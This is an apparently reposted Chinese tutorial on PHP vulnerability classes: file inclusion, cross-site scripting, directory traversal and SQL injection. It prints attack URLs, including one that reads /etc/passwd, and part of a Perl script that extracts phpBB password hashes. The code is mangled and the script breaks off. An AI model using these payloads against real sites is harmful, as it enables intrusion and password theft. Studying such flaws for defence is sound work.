PHP頁面漏洞分析的方法

PHP頁面漏洞分析的方法PHP 漏洞大致分為以下幾種：包含文件漏洞，腳本命令執(zhí)行漏洞，文件泄露漏洞，SQL注入漏洞等幾種。以下是為大家搜索的 PHP頁面漏洞分析的方法，歡迎大家閱讀!更多精彩內(nèi)容請及時關(guān)注我們 !首先，我們來討論包含文件漏洞。這個漏洞應(yīng)該說是 PHP獨有的吧。這是由于不充分處理外部提供的惡意數(shù)據(jù)， 從而導致遠程攻擊者可以利用這些漏洞以 WEB進程權(quán)限在系統(tǒng)上執(zhí)行任意命令。我們來看一個例子：假設(shè)在 a.php中有這樣一句代碼:以下是引用片段：include($include."/xxx.php");?>在這段代碼中，$include 一般是一個已經(jīng)設(shè)置好的路徑，但是我們可以通過自己構(gòu)造一個路徑來達到攻擊的目的。比方說我們提交:a.php?include=web/b.php，這個web是我們用做攻擊的空間，當然，b.php也就是我們用來攻擊的代碼了。我們可以在b.php中寫入類似于:passthru("/bin/ls/etc"); 的代碼。這樣，就可以執(zhí)行一些有目的的攻擊了。(注:Web服務(wù)器應(yīng)該不能執(zhí)行 php代碼，不然就出問題了。相關(guān)詳情可以去看 <>)。在這個漏洞方面，出狀況的很多，比方說:PayPalStoreFront,HotNews,MamboOpenSource,PhpDig,YABBSE,phpBB,InvisionBoard,SOLMETRASPAWEditor,LesVisiteurs,PhpGedView,X-Cart等等一些。接著，我們再來看一下腳本命令執(zhí)行漏洞。這是由于對用戶提交的URI參數(shù)缺少充分過濾，提交包含惡意 HTML代碼的數(shù)據(jù)，可導致觸發(fā)跨站腳本攻擊，可能獲得目標用戶的敏感信息。 我們也舉個例子:在PHPTransparent的以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達到攻擊的目的:web/index.php?PHPSESSID=">在script 里面我們可以構(gòu)造函數(shù)來獲得用戶的一些敏感信息。 在這個漏洞方面相對要少一點， 除了PHPTransparent之外還有:PHP-Nuke,phpBB,PHPClassifieds,PHPix,UltimatePHPBoard等等。再然后，我們就來看看文件泄露漏洞了，這種漏洞是由于對用戶提交參數(shù)缺少充分過濾，遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取一些敏感信息。我們拿最近發(fā)現(xiàn)的 phpMyAdmin來做例子。在phpMyAdmin中，export.php頁面沒有對用戶提交的'what'參數(shù)進行充分過濾，遠程攻擊者提交包含多個'../'字符的數(shù)據(jù)，便可繞過WEBROOT限制，以WEB權(quán)限查看系統(tǒng)上的任意文件信息。比方說打入這樣一個地址:export.php?what=../../../../../../etc/passwd%00 就可以達到文件泄露的目的了。在這方面相對多一點，有 :myPHPNuke,McNews等等。最后，我們又要回到最興奮的地方了。想想我們平時在 asp頁面中用SQL注入有多么爽，以前還要手動注入，一直到小竹悟出"SQL注入密笈"(嘿嘿)，然后再開做出NBSI以后，我們NB聯(lián)盟真是拉出一片天空。曾先后幫CSDN，大富翁論壇，中國頻道等大型網(wǎng)站找出漏洞。(這些廢話不多說了，有點跑題了...)。還是言規(guī)正傳，其實在 asp中SQL的注入和php中的SQL注入大致相同，只不過稍微注意一下用的幾個函數(shù)就好了。將 asc改成ASCII，len改成LENGTH，其他函數(shù)基本不變了。其實大家看到 PHP的SQL注入，是不是都會想到PHP-NUKE和PHPBB呢?不錯，俗話說樹大招分，像動網(wǎng)這樣的論壇在asp界就該是漏洞這王了，這并不是說它的論壇安全太差，而是名氣太響，別人用的多了，研究的人也就多了，發(fā)現(xiàn)的安全漏洞也就越多了。PHPBB也是一樣的，現(xiàn)在很大一部分人用PHP做論壇的話，一般都是選擇了PHPBB。它的漏洞也是一直在出，從最早版本被人發(fā)現(xiàn)漏洞，到現(xiàn)在最近的版本的groupcp.php,，以及之前發(fā)現(xiàn)的search.php,profile.php,viewtopic.php 等等加起來，大概也有十來個樣子吧。這也一直導致，一部分人在研究 php漏洞的時候都會拿它做實驗品，所謂百練成精嘛，相信以后的 PHPBB會越來越好。好了，我們還是來分析一下漏洞產(chǎn)生的原因吧。拿viewtopic.php 頁面來說，由于在調(diào)用viewtopic.php 時，直接從GET請求中獲得"topic_id" 并傳遞給SQL查詢命令，而并沒有進行一些過濾的處理，攻擊者可以提交特殊的 SQL字符串用于獲得 MD5密碼，獲得此密碼信息可以用于自動登錄或者進行暴力破解。 (我想應(yīng)該不會有人想去暴力破解吧,除非有特別重要的原因)。先看一下相關(guān)源代碼:以下是引用片段：if(isset($_GET_VARS[POST_TOPIC_URL])){$topic_id=intval($_GET_VARS[POST_TOPIC_URL]);}elseif(isset($_GET_VARS['topic'])){$topic_id=intval($_GET_VARS['topic']);}從上面我們可以看出，如果提交的 view=newest并且sid設(shè)置了值的話，執(zhí)行的查詢代碼像下面的這個樣子 (如果你還沒看過PHPBB源代碼的話，建議你看了再對著這里來看，受影響系統(tǒng)為和。以下是引用片段：$sql="SELECTp.post_idFROM".POSTS_TABLE."p,".SESSIONS_TABLE."s,".USERS_TABLE."uWHEREs.session_id='$session_id'ANDu.user_id=s.session_user_idANDp.topic_id=$topic_idANDp.post_time>=u.user_lastvisitORDERBYp.post_timeASCLIMIT1";Rick 提供了下面的這斷測試代碼 :useIO::Socket;$remote=shift||'localhost';$view_topic=shift||'/phpBB2/viewtopic.php';$uid=shift||2;$port=80;$dBType='mysql4';#mysql4orpgsqlprint"Tryingtogetpasswordhashforuid$uidserver$remotedbtype:$dBType";$p="";for($index=1;$index<=32;$index++){$socket=IO::Socket::INET->new(PeerAddr=>$remote,PeerPort=>$port,Proto=>"tcp",Type=>SOCK_STREAM)ordie"Couldntconnectto$remote:$port:$@";$str="GET$view_topic"."?sid=1&topic_id=-1".random_encode(make_dbsql())."&view=newest"."/1.0";print$socket$str;print$socket"Cookie:phpBB2mysql_sid=1";#replacethisforpgsqlorremoveitprint$socket"Host:$remote";while($answer=){if($answer=~/location:.*x23(d+)/)#Matchesthelocation:viewto